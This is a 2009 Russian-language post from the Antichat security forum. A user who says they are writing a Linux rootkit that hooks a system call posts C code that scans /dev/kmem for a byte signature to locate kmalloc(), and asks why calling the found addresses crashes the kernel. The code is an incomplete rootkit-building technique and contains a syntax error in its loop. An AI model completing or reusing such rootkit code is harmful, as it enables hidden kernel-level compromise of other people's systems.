ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Проблема с kmalloc()
  #1  
Старый 04.04.2009, 20:59
4ek
Новичок
Регистрация: 04.04.2009
Сообщений: 2
Провел на форуме:
4198

Репутация: 0
Question Проблема с kmalloc()

Доброго дня суток.
Пишу программу под nix (дистр - слака 12.1), обычный руткит, перехватывающий системный вызов.
Встал вопрос о том, каким образом найти адрес функции kmalloc(), чтобы вызвать по найденному адресу из user-mode.
Используется следующая функция, но почему то она находит адреса (причем куча) только после 0xc1######, хотя как мне кажется все системные функции должны находится в интервале от нижней границы 0xc0000000 до 0xc1000000.
Код:
unsigned long get_kma()  
{
  	unsigned int i;  	
             unsigned char buf[0x10000], *p, *p1;  	
             unsigned long ret;  	
             char c;  	  	
             kmem = open("/dev/kmem", O_RDONLY);         
                if (kmem<0) return 1;                    
             for (i = page_offset+0x100000; i<(page_offset; 0x10000000); i+=0x10000)          
             {
      		readkmem (buf,i,sizeof(buf));
      		//printf("%s\n",buf);
      		//c = getc(stdin);
      		p1 = (char*)memmem (buf, sizeof(buf), "\x68\xf0\x01\x00",4);
      		if (p1)
      		{
      			printf("kmalloc() is found!!!\n");
      			p = (char*)memmem(p1+4, sizeof(buf), "\xe8",1)+1;
      			if (p)
      			{
      				//close (kmem);
      				//return *(unsigned long *)p+i+(p-buf)+4;
      				printf("----0x%x\n", *(unsigned long *)p+i+(p-buf)+4);
      				c=getc(stdin);
      			}
      		}
          }
          close(kmem);
  	return 0;
}
Пытался собственно вызвать один из полученных адресов - ядро улетает, приходится перезагружаться. В чем может быть проблема, почему не находит адрес kmalloc()?
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проблема со входом на сайт. SHAXID Болталка 3 21.02.2009 17:08
Проблема с флешкой SONY F&D Аппаратное обеспечение 13 28.01.2009 22:21
Проблема с TBrowser donetsk С/С++, C#, Delphi, .NET, Asm 4 06.07.2006 09:37
проблема RocketV1_0 КИРЮХА ! Схемы и программы 0 10.06.2006 23:48
Проблема с установкой proxy Utochka Уязвимости 3 09.05.2006 01:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ